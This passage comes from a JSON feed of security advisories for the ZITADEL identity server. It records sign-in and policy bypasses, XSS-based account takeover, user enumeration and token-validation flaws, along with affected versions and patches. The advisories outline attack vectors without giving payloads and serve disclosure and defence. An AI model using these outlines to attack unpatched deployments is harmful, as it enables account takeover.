`urn:zitadel:iam:org:domain:primary:{domainname}`). If enforced, a user needs to be part of the required organization to sign in.\n\nWhile this was properly enforced for OAuth2/OIDC authorization requests in login V1, corresponding controls were missing for device authorization requests and all login V2 and OIDC API V2 endpoints.\nThis allowed users to bypass the restriction and sign in with users from other organizations.\n\nNote that this enforcement allows for an additional check during authentication and applications relying on authorizations / roles assignments are not affected by this bypass.\n\n### Affected Versions\n\nSystems running one of the following versions are affected:\n- **4.x**: `4.0.0` through `4.12.2` (including RC versions)\n- **3.x**: `3.0.0` through `3.4.8` (including RC versions)\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. The patch resolves the issue by validating the provided scopes and enforcing the organization existence when processing the authorization request. Additionally it will prevent the use of a session of a user which does not belong to the required organization on the OIDC service endpoints ([CreateCallback](https://zitadel.com/docs/reference/api/oidc/zitadel.oidc.v2.OIDCService.CreateCallback) and [Authorize or Deny Device Authorization](https://zitadel.com/docs/reference/api/oidc/zitadel.oidc.v2.OIDCService.AuthorizeOrDenyDeviceAuthorization) endpoints).\n\n4.x: Upgrade to \u003e=[4.12.3](https://github.com/zitadel/zitadel/releases/tag/v4.12.3)\n3.x: Update to \u003e=[3.4.9](https://github.com/zitadel/zitadel/releases/tag/v3.4.9)\n\n### Workarounds\n\nThe recommended solution is to upgrade to a patched version. \n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to @motoki317 for reporting this vulnerability.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-18T17:25:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-g2pf-ww5m-2r9m","https://github.com/zitadel/zitadel/commit/d90285929ca019fa817f31551fd0883429dda2a8","https://github.com/zitadel/zitadel/releases/tag/v3.4.9","https://github.com/zitadel/zitadel/releases/tag/v4.12.3","https://nvd.nist.gov/vuln/detail/CVE-2026-33132","https://github.com/advisories/GHSA-g2pf-ww5m-2r9m"],"source_kind":"github","identifiers":["GHSA-g2pf-ww5m-2r9m","CVE-2026-33132"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-18T18:00:10.863Z","updated_at":"2026-11-05T05:05:05.460Z","epss_percentage":0.00315,"epss_percentile":0.24551,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nMnBmLXd3NW0tMnI5bc4ABTz5","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nMnBmLXd3NW0tMnI5bc4ABTz5","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"1.80.0-v2.20.0.20260317120401-d90285929ca0","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20260317120401-d90285929ca0"},{"first_patched_version":"3.4.9","vulnerable_version_range":"\u003e= 3.0.0-rc.1, \u003c 3.4.9"},{"first_patched_version":"4.12.3","vulnerable_version_range":"\u003e= 4.0.0-rc.1, \u003c= 4.12.2"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nMnBmLXd3NW0tMnI5bc4ABTz5/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02cng1LW0ycmMtaG1mN84ABTJL","url":"https://github.com/advisories/GHSA-6rx5-m2rc-hmf7","title":"ZITADEL: Stored XSS via Default URI Redirect Leads to Account Takeover","description":"### Summary\n\nA vulnerability in Zitadel's login V2 interface was discovered, allowing for possible account takeover.\n\n### Impact\n\nZitadel allows organization administrators to change the default redirect URI for their organization. This setting enables them to redirect users to an arbitrary location after they log in.\n\nDue to missing restrictions and improper handling, malicious javascrtipt code could be executed in Zitadel login UI (v2) using the users’ browser. \n\nAn unauthenticated remote attacker can exploit this Stored XSS vulnerability, reset the password of their victims, and take over their accounts.\n\nIt's important to note that this specific attack vector is mitigated for accounts that have Multi-Factor Authentication (MFA) or Passwordless authentication enabled.Stored XSS vulnerability. \n\n### Affected Versions\n\nSystems running one of the following versions are affected:\n- **4.x**: `4.0.0` through `4.11.1` (including RC versions)\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. The login UI prevents execution of such code. Additionally, the page to change the password, now always requires the user's current password regardless of the state of the authenticated session.\n\n4.x: Upgrade to \u003e= [4.12.0](https://github.com/zitadel/zitadel/releases/tag/v4.12.0)\n\n### Workarounds\n\nThe recommended solution is to upgrade to a patched version.\n\n### Questions\n\nIf there are any questions or comments about this advisory, please send an email to [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nZITADEL extends thanks once again to Amit Laish from GE Vernova for finding and reporting the vulnerability.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-04T22:53:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-6rx5-m2rc-hmf7","https://github.com/zitadel/zitadel/releases/tag/v4.12.0","https://nvd.nist.gov/vuln/detail/CVE-2026-29192","https://github.com/advisories/GHSA-6rx5-m2rc-hmf7"],"source_kind":"github","identifiers":["GHSA-6rx5-m2rc-hmf7","CVE-2026-29192"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-04T23:00:09.823Z","updated_at":"2026-11-04T06:06:43.429Z","epss_percentage":0.00351,"epss_percentile":0.28766,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cng1LW0ycmMtaG1mN84ABTJL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02cng1LW0ycmMtaG1mN84ABTJL","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"4.12.0","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.12.0"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"},{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":"4.12.0","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.12.0"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cng1LW0ycmMtaG1mN84ABTJL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yNXJ3LWc2ZmYtZm1nOM4ABTJK","url":"https://github.com/advisories/GHSA-25rw-g6ff-fmg8","title":"ZITADEL: Login V2 UI Policy Bypass Allows Unauthorized Self-Registration and Authentication","description":"### Summary\n\nA vulnerability in Zitadel's login V2 UI allowed users to bypass login behavior and security policies and self-register new accounts or sign in using password even if corresponding options were disabled in their organizaton.\n\n### Impact\n\nZitadel enables administrators to configure their organization’s login behavior and security policies. As part of this functionality, they can disable user self-registration, enforce passwordless logins only, and more.\n\nDue to improper enforcement an attacker could send direct HTTP requests to the login UI and create accounts in organizations that have disabled user self-registration, and gain unauthorized access to the system.\nThe same attack vector could be used to authenticate for example using username and password even when this login method was disabled.\n\n### Affected Versions\n\nSystems running one of the following versions are affected:\n- **4.x**: `4.0.0` through `4.12.0` (including RC versions)\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. The patch resolves the issue by enforcing the policies on the logiin UI server.\n\n4.x: Upgrade to \u003e=[4.12.1](https://github.com/zitadel/zitadel/releases/tag/v4.12.1)\n\n### Workarounds\n\nThe recommended solution is to upgrade to a patched version.\n\n### Questions\n\nIf there are any questions or comments about this advisory, please send an email to [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits \n\nZITADEL extends thanks once again to Amit Laish from GE Vernova for finding and reporting the vulnerability.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-04T22:51:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-25rw-g6ff-fmg8","https://github.com/zitadel/zitadel/releases/tag/v4.12.1","https://nvd.nist.gov/vuln/detail/CVE-2026-29193","https://github.com/advisories/GHSA-25rw-g6ff-fmg8"],"source_kind":"github","identifiers":["GHSA-25rw-g6ff-fmg8","CVE-2026-29193"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-04T23:00:09.823Z","updated_at":"2026-11-04T06:06:43.430Z","epss_percentage":0.00352,"epss_percentile":0.28839,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNXJ3LWc2ZmYtZm1nOM4ABTJK","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yNXJ3LWc2ZmYtZm1nOM4ABTJK","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"4.12.1","vulnerable_version_range":"\u003e= 4.0.0, \u003c= 4.12.0"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"},{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":"4.12.1","vulnerable_version_range":"\u003e= 4.0.0, \u003c= 4.12.0"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNXJ3LWc2ZmYtZm1nOM4ABTJK/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wcjM0LTJ2NXgtNnFqcc4ABTJJ","url":"https://github.com/advisories/GHSA-pr34-2v5x-6qjq","title":"ZITADEL has 1-Click Account Takeover via XSS in /saml-post Endpoint","description":"### Summary\n\nA vulnerability was discovered in Zitadel's login V2 interface that allowed a possible account takeover.\n\n### Impact\n\nZitadel exposes an HTTP endpoint named /saml-post. This endpoint is used for handling requests to SAML IdPs and accepts two HTTP GET parameters: url and id. When these parameters are supplied, users’ browsers auto-submit an HTTP POST request to the provided url parameter.\n \nThe endpoint insecurely redirects users using the provided url GET parameter. As a result, by specifying a javascript: scheme, malicious JS code could be executed on Zitadel users’ browsers. \n\nThe endpoint also reflects user-supplied input in the server response, without HTML-encoding it. As a result, it is possible to inject arbitrary HTML code, which again leads to malicious JS code execution in the Zitadel users’ browsers.\n\nAn unauthenticated remote attacker can exploit these XSS vulnerabilities, and thus, execute malicious JavaScript code on behalf of Zitadel users. By doing so, such an attacker could reset the password of their victims, and take over their accounts.\n\nIt's important to note that this specific attack vector is mitigated for accounts that have Multi-Factor Authentication (MFA) or Passwordless authentication enabled.\n\n### Affected Versions\n\nSystems running one of the following versions are affected:\n- **4.x**: `4.0.0` through `4.11.1` (including RC versions)\n \nImportant Note: Although this /saml-post endpoint is used when Zitadel is integrated with a SAML Identity Provider (IdP), the vulnerability in this finding does not require Zitadel to be configured with a SAML IdP. Consequently, Zitadel is vulnerable in its default, out-of-the-box configuration.\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. The patch reworked the integration of SAML IdPs and the /saml-post endpoint no longer exists. Additionally, the page to change the password, now always requires the user's current password regardless of the state of the authenticated session.\n\n4.x: Upgrade to \u003e= [4.12.0](https://github.com/zitadel/zitadel/releases/tag/v4.12.0)\n\n### Workarounds\n\nThe recommended solution is to upgrade to a patched version. If an upgrade is not possible and no SAML IdP integration is needed, a WAF or reverse proxy rule can be deployed to prevent access to the endpoint.\n\n### Questions\n\nIf there are any questions or comments about this advisory, please email them to [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nZITADEL extends thanks once again to Amit Laish from GE Vernova for finding and reporting the vulnerability.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-03-04T22:47:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-pr34-2v5x-6qjq","https://nvd.nist.gov/vuln/detail/CVE-2026-29191","https://github.com/advisories/GHSA-pr34-2v5x-6qjq"],"source_kind":"github","identifiers":["GHSA-pr34-2v5x-6qjq","CVE-2026-29191"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-04T23:00:09.823Z","updated_at":"2026-11-04T06:06:43.430Z","epss_percentage":0.00455,"epss_percentile":0.39543,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcjM0LTJ2NXgtNnFqcc4ABTJJ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wcjM0LTJ2NXgtNnFqcc4ABTJJ","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":"4.12.0","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.12.0"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"},{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"4.12.0","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.12.0"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcjM0LTJ2NXgtNnFqcc4ABTJJ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yODJnLWZobXgteGY1NM4ABS6o","url":"https://github.com/advisories/GHSA-282g-fhmx-xf54","title":"ZITADEL Users Can Self-Verify Email/Phone via UpdateHumanUser API","description":"### Summary\n\nA vulnerability in Zitadel's self-management capability allowed users to mark their email and phone as verified without going through an actual verification process.\n\n### Impact\n\nZitadel provides an API for managing users. The API also allows users to self-manage their own data including updating the email and phone.\n\nDue to an improper permission check, the API allowed setting the verified flag for the email and phone on the own user.\nThis allows users to claim ownership of an email or phone they do not control and potentially bypass email-based security policies.\n\nNote that when changing another user's email or phone, regardless of the verification flag, the permissions were correctly checked.\n\n### Affected Versions\n\nSystems running one of the following versions are affected:\n- **4.x**: `4.0.0` through `4.11.0` (including RC versions)\n- **3.x**: `3.0.0` through `3.4.6` (including RC versions)\n- **2.x**: `2.43.0` through `2.71.19`\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. The patch resolves the issue by requiring the correct permission in case the verification flag is provided and only allows self-management of the email address, resp. phone number itself.\n\n4.x: Upgrade to \u003e=[4.11.1](https://github.com/zitadel/zitadel/releases/tag/v4.11.1)\n3.x: Update to \u003e=[3.4.7](https://github.com/zitadel/zitadel/releases/tag/v3.4.7)\n2.x: Update to \u003e=[3.4.7](https://github.com/zitadel/zitadel/releases/tag/v3.4.7)\n\n### Workarounds\n\nThe recommended solution is to upgrade to a patched version. If an upgrade is not possible, an action (v2) could be used to prevent setting the verification flag on the own user.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n\n### Credits\n\nThis vulnerability was identified by [MhdAsfan](https://github.com/MhdAsfan) during a security audit of a system utilizing Zitadel.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-02-27T21:26:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-282g-fhmx-xf54","https://nvd.nist.gov/vuln/detail/CVE-2026-27946","https://github.com/zitadel/zitadel/commit/0261536243e500dccfd8c7f547d592c822478327","https://github.com/zitadel/zitadel/releases/tag/v3.4.7","https://github.com/zitadel/zitadel/releases/tag/v4.11.1","https://github.com/advisories/GHSA-282g-fhmx-xf54"],"source_kind":"github","identifiers":["GHSA-282g-fhmx-xf54","CVE-2026-27946"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-27T22:00:09.758Z","updated_at":"2026-10-26T21:05:26.584Z","epss_percentage":0.00218,"epss_percentile":0.1217,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yODJnLWZobXgteGY1NM4ABS6o","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yODJnLWZobXgteGY1NM4ABS6o","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"1.80.0-v2.20.0.20260225053417-0261536243e5","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20260225053417-0261536243e5"},{"first_patched_version":"3.4.7","vulnerable_version_range":"\u003e= 2.43.0, \u003c 3.4.7"},{"first_patched_version":"4.11.1","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.11.0"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yODJnLWZobXgteGY1NM4ABS6o/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02bXEzLXhtZ3AtcGptNc4ABS6n","url":"https://github.com/advisories/GHSA-6mq3-xmgp-pjm5","title":"ZITADEL's truncated opaque tokens are still valid","description":"### Summary\n\nOpaque OIDC access tokens in v2 format, truncated to 80 characters are still considered valid. \n\nZITADEL uses a symmetric AES encryption for opaque tokens. The cleartext payload is a concatenation of a couple of identifiers, such as a token ID and user ID. Internally Zitadel has 2 different versions of token payloads. v1 tokens are no longer created, but are still verified as to not invalidate existing session after upgrade.\n\nThe cleartext payload has a format of `\u003ctoken_id\u003e:\u003cuser_id\u003e`. v2 tokens distinguished further where the `token_id` is of the format `v2_\u003coidc_session_id\u003e-at_\u003caccess_token_id\u003e`. This is an example of such a cleartext: `V2_354201447279099906-at_354201447279165442:354201364702363650`\n\n### Impact\n\nV1 token authZ/N session data is retrieved from the database using the (simple) `token_id` value and `user_id` value. The `user_id` (called `subject` in some parts of our code) was used as being the trusted user ID.\n\nV2 token authZ/N session data is retrieved from the database using the `oidc_session_id` and `access_token_id` and in this case the `user_id` from the token is ignored and taken from the session data in the database.\n\nBy truncating the token to 80 chars, the user_id is now missing from the cleartext of the v2 token: `V2_354201447279099906-at_354201447279165442:`  The back-end still accepts this for above reasons.\n\nThis issue is not considered exploitable, but may look awkward when reproduced.\n\n### Affected Versions\n\nAll versions within the following ranges, including release candidates (RCs), are affected:\n- **v4.x**: `4.0.0` through `4.10.1`\n- **3.x**: `3.0.0` through `3.4.6`\n- **2.x**: `2.31.0` through `2.71.19`\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. The patch resolves the issue by verifying the `user_id` from the token against the session data from the database\n\n4.x: Upgrade to \u003e=[4.11.0](https://github.com/zitadel/zitadel/releases/tag/v4.11.0)\n3.x: Update to \u003e=[3.4.7](https://github.com/zitadel/zitadel/releases/tag/v3.4.7)\n2.x: Update to \u003e=[3.4.7](https://github.com/zitadel/zitadel/releases/tag/v3.4.7)\n\n### Workarounds\n\nThe recommended solution is to update ZITADEL to a patched version.\n\n### Questions\n\nIf there any questions or comments about this advisory, please send an email to [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nZITADEL thanks Olivier Becker and Lucas Dodgson for reporting this vulnerability.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-02-27T21:22:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-6mq3-xmgp-pjm5","https://nvd.nist.gov/vuln/detail/CVE-2026-27840","https://github.com/zitadel/zitadel/commit/feab8e1fa371f3ad654640fc869b2c14f2fdb602","https://github.com/zitadel/zitadel/releases/tag/v2.71.19","https://github.com/zitadel/zitadel/releases/tag/v3.4.7","https://github.com/zitadel/zitadel/releases/tag/v4.11.0","https://github.com/advisories/GHSA-6mq3-xmgp-pjm5"],"source_kind":"github","identifiers":["GHSA-6mq3-xmgp-pjm5","CVE-2026-27840"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-27T22:00:09.758Z","updated_at":"2026-10-26T21:05:26.584Z","epss_percentage":0.00159,"epss_percentile":0.05006,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02bXEzLXhtZ3AtcGptNc4ABS6n","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02bXEzLXhtZ3AtcGptNc4ABS6n","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"1.80.0-v2.20.0.20260216092519-feab8e1fa371","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20260216092519-feab8e1fa371"},{"first_patched_version":null,"vulnerable_version_range":"\u003e= 2.31.0, \u003c= 2.71.19"},{"first_patched_version":"3.4.7","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.4.7"},{"first_patched_version":"4.11.0","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.11.0"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02bXEzLXhtZ3AtcGptNc4ABS6n/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wdm01LTlmcngtMjY0cs4ABRH3","url":"https://github.com/advisories/GHSA-pvm5-9frx-264r","title":"Zitadel has a user enumeration vulnerability in Login UIs","description":"### Summary\n\nA user enumeration vulnerability has been discovered in Zitadel's login interfaces. An unauthenticated attacker can exploit this flaw to confirm the existence of valid user accounts by iterating through usernames and userIDs.\n\n### Impact\n\nThe login UIs (in version 1 and 2) provide the possibility to request a password reset, where an email will be sent to the user with a link to a verification endpoint.\nBy submitting arbitrary userIDs to these endpoints, an attacker can differentiate between valid and invalid accounts based on the system's response.\n\nFor an effective exploit the attacker needs to iterate through the potential set of userIDs. The impact can be limited by implementing [rate limiting](https://zitadel.com/docs/self-hosting/manage/production#limits-and-quotas) or similar measures to limit enumeration of userIDs.\n\nAdditionally, Zitadel includes a security feature \"Ignoring unknown usernames\", designed to prevent username enumeration attacks by presenting a generic response for both valid and invalid usernames on the login page. The login UI V2 did not handle the setting correctly and would allow attackers to enumerate through usernames to check their existence.\n\n### Affected Versions\n\nAll versions within the following ranges, including release candidates (RCs), are affected:\n- **v4.x**: `4.0.0` through `4.9.0`\n- **3.x**: `3.0.0` through `3.4.5`\n- **2.x**: `2.0.0` through `2.71.19`\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. The patch resolves the issue by returning a generic error message, which does not indicate it the user exists.\n\n4.x: Upgrade to \u003e=[4.9.1](https://github.com/zitadel/zitadel/releases/tag/v4.9.1)\n3.x: Update to \u003e=[3.4.6](https://github.com/zitadel/zitadel/releases/tag/v3.4.6)\n2.x: Update to \u003e=[3.4.6](https://github.com/zitadel/zitadel/releases/tag/v3.4.6)\n\n### Workarounds\n\nThe recommended solution is to update ZITADEL to a patched version. You can limit the impact by implementing [rate limiting](https://zitadel.com/docs/self-hosting/manage/production#limits-and-quotas) or similar measures to limit enumeration of userIDs.\n\nThere is no workaround for the \"Ignoring unknown usernames\" issue in login V2. Please upgrade to a patched version, if you rely on this feature.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to Niklas Kunz from Seamly for reporting this vulnerability from their pentest.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-01-15T18:17:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-pvm5-9frx-264r","https://github.com/zitadel/zitadel/commit/0bb00dd9fc4e5e965f8e14fa2161a5076f3c308d","https://github.com/zitadel/zitadel/commit/b85ab69e4679b0268e2b0e9b4cd04e934af10dd2","https://github.com/zitadel/zitadel/releases/tag/v3.4.6","https://github.com/zitadel/zitadel/releases/tag/v4.9.1","https://nvd.nist.gov/vuln/detail/CVE-2026-23511","https://github.com/zitadel/zitadel/commit/c300d4cc6a2775ab17ddfe76492f24170f8b858d","https://github.com/advisories/GHSA-pvm5-9frx-264r"],"source_kind":"github","identifiers":["GHSA-pvm5-9frx-264r","CVE-2026-23511"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-15T19:00:07.469Z","updated_at":"2026-11-05T05:06:04.473Z","epss_percentage":0.00402,"epss_percentile":0.34595,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wdm01LTlmcngtMjY0cs4ABRH3","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wdm01LTlmcngtMjY0cs4ABRH3","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"3.4.6","vulnerable_version_range":"\u003c= 3.4.5"},{"first_patched_version":"4.9.1","vulnerable_version_range":"\u003e= 4.0.0, \u003c= 4.9.0"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wdm01LTlmcngtMjY0cs4ABRH3/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mNGNmLTlydnItMnJjeM4ABPgL","url":"https://github.com/advisories/GHSA-f4cf-9rvr-2rcx","title":"Zitadel Discloses the Total Number of Instance Users","description":"### Summary\n\nZitadel's User Service discloses the total number of instance users to unauthorized users.\n\n### Impact\n\nThe ZITADEL User Service exposes the total number of users within an instance to any authenticated user, regardless of their specific permissions. While this does not leak individual user data or PII, disclosing the total user count via the `totalResult` field constitutes an information disclosure vulnerability that may be sensitive in certain contexts.\n\n### Affected Versions\n\nSystems running one of the following version are affected:\n\n- **4.x**: `4.0.0-rc.1` through `4.7.1`\n- **3.x**: `3.0.0-rc.1` through `3.4.4`\n- **2.x**: `2.44.0` through `2.71.19`\n\n### Patches\n\nThe vulnerability has been addressed in the latest release. The patch resolves the issue and returns the `totalResult` value corresponding to the number of instance users for whom the querying user has read permission.\n\n- 4.x: Upgrade to \u003e= [4.7.2](https://github.com/zitadel/zitadel/releases/tag/v4.7.2)\n- 3.x: Update to \u003e= [3.4.5](https://github.com/zitadel/zitadel/releases/tag/v3.4.5)\n- 2.x: Update to \u003e= [3.4.5](https://github.com/zitadel/zitadel/releases/tag/v3.4.5) (or checkout the workarounds section)\n\n### Workarounds\n\nThe recommended solution is to update Zitadel to a patched version.\n\nIf a version upgrade is not possible, you can enable the `permissionCheckV2` feature on your instance.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThis vulnerability was found by [zentrust partners GmbH](https://zentrust.partners) during a scheduled penetration test. Thank you to the analysts Martin Tschirsich, Joud Zakharia, Christopher Baumann.\nThe full report will be made public after the complete review.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-12-10T18:20:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-f4cf-9rvr-2rcx","https://github.com/zitadel/zitadel/commit/826039c6208fe71df57b3a94c982b5ac5b0af12c","https://nvd.nist.gov/vuln/detail/CVE-2025-67717","https://github.com/advisories/GHSA-f4cf-9rvr-2rcx"],"source_kind":"github","identifiers":["GHSA-f4cf-9rvr-2rcx","CVE-2025-67717"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-12-10T19:00:08.238Z","updated_at":"2026-10-28T20:07:51.288Z","epss_percentage":0.00222,"epss_percentile":0.12728,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mNGNmLTlydnItMnJjeM4ABPgL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mNGNmLTlydnItMnJjeM4ABPgL","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"1.80.0-v2.20.0.20251210121356-826039c6208f","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20251210121356-826039c6208f"},{"first_patched_version":"3.4.5","vulnerable_version_range":"\u003e= 2.44.0, \u003c= 3.4.4"},{"first_patched_version":"4.7.2","vulnerable_version_range":"\u003e= 4.0.0-rc.1, \u003c= 4.7.1"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mNGNmLTlydnItMnJjeM4ABPgL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12OTU5LXF4djYtNmY4cM4ABPUZ","url":"https://github.com/advisories/GHSA-v959-qxv6-6f8p","title":"ZITADEL Vulnerable to Account Takeover via DOM-Based XSS in Zitadel V2 Login","description":"### Summary\n\nA potential vulnerability exists in ZITADEL's logout endpoint in login V2. This endpoint accepts serval parameters including a `post_logout_redirect`. When this parameter is specified, users will be redirected to the site that is provided via this parameter.\nZITADEL's login UI did not ensure that this parameter contained an allowed value and even executed passed scripts.\n\n### Impact\n\nZitadel is vulnerable to a DOM-Based XSS vulnerability. More specifically, the /logout endpoint insecurely routed to value that is supplied in the post_logout_redirect GET parameter. As a result, malicious JS code could be executed on Zitadel users’ browsers, in the 